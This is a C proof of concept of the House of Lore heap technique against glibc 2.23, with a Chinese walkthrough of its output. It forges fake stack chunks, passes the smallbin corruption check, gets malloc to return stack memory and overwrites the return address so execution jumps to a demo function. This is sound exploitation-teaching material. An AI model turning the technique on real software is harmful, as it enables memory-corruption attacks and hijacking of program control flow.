源代码
1 /* 2 Advanced exploitation of the House of Lore - Malloc Maleficarum. 3 This PoC take care also of the glibc hardening of smallbin corruption. 4 5 [ ... ] 6 7 else 8 { 9 bck = victim->bk; 10 if (__glibc_unlikely (bck->fd != victim)){ 11 12 errstr = "malloc(): smallbin double linked list corrupted"; 13 goto errout; 14 } 15 16 set_inuse_bit_at_offset (victim, nb); 17 bin->bk = bck; 18 bck->fd = bin; 19 20 [ ... ] 21 22 */ 23 24 #include <stdio.h> 25 #include <stdlib.h> 26 #include <string.h> 27 #include <stdint.h> 28 29 void jackpot(){ puts("Nice jump d00d"); exit(0); } 30 31 int main(int argc, char * argv[]){ 32 33 34 intptr_t* stack_buffer_1[4] = {0}; 35 intptr_t* stack_buffer_2[3] = {0}; 36 37 fprintf(stderr, "\nWelcome to the House of Lore\n"); 38 fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n"); 39 fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n"); 40 41 fprintf(stderr, "Allocating the victim chunk\n"); 42 intptr_t *victim = malloc(100); 43 fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim); 44 45 // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk 46 intptr_t *victim_chunk = victim-2; 47 48 fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1); 49 fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2); 50 51 fprintf(stderr, "Create a fake chunk on the stack\n"); 52 fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted" 53 "in second to the last malloc, which putting stack address on smallbin list\n"); 54 stack_buffer_1[0] = 0; 55 stack_buffer_1[1] = 0; 56 stack_buffer_1[2] = victim_chunk; 57 58 fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 " 59 "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake " 60 "chunk on stack"); 61 stack_buffer_1[3] = (intptr_t*)stack_buffer_2; 62 stack_buffer_2[2] = (intptr_t*)stack_buffer_1; 63 64 fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with" 65 "the small one during the free()\n"); 66 void *p5 = malloc(1000); 67 fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5); 68 69 70 fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim); 71 free((void*)victim); 72 73 fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n"); 74 fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); 75 fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); 76 77 fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n"); 78 fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim); 79 80 void *p2 = malloc(1200); 81 fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2); 82 83 fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n"); 84 fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]); 85 fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); 86 87 //------------VULNERABILITY----------- 88 89 fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); 90 91 victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack 92 93 //------------------------------------ 94 95 fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n"); 96 fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n"); 97 98 void *p3 = malloc(100); 99 100 101 fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n"); 102 char *p4 = malloc(100); 103 fprintf(stderr, "p4 = malloc(100)\n"); 104 105 fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n", 106 stack_buffer_2[2]); 107 108 fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack 109 intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode 110 memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary 111 }
运行结果
首先申请一个100字节的堆 victim
栈上申请两块内存,伪造2块堆stack1和stack2
修改fd,bk
形成 stack1->fd=victim stack1->bk=stack2
stack2->fd=stack1
再申请一块大的堆,防止释放后和top chunk合并
此时堆分布
之后释放victim
victim先进入0x70的fastbin
此时victim的fd,bk都为null
然后又申请了一个1200字节的堆,无法被已释放的堆处理
victim从fastbin移入small bin中
此时再将victim的bk赋值为stack1
与之前伪造的2个堆形成一个双向链表
victim->stack1->stack2
然后申请一次100字节的堆,victim从small bin中取出
victim的bk所指向的伪造的堆stack1被移入small bin链表头
再次申请一个100字节的堆p4,即将stack1取出使用,这里甚至不需要修改伪造堆的size
此时small bin中还剩stack2,如果再申请一个100字节的内存,又会取出stack2
p4被分配到了stack1,即在栈中,输入内容即可覆盖栈中数据
这里将之前准备好的函数jackpot地址覆盖了本来main的返回地址
由于直接覆盖了返回地址,并没有破坏canary,所以这里不会报错
main函数结束后即执行了jackpot函数
这里利用了small bin的链表特性,一个堆取出后,将bk所指的堆移入链表头
下次即使用这个bk所指的堆,只需修改伪造堆的bk,fd形成链表即可,不需要修改size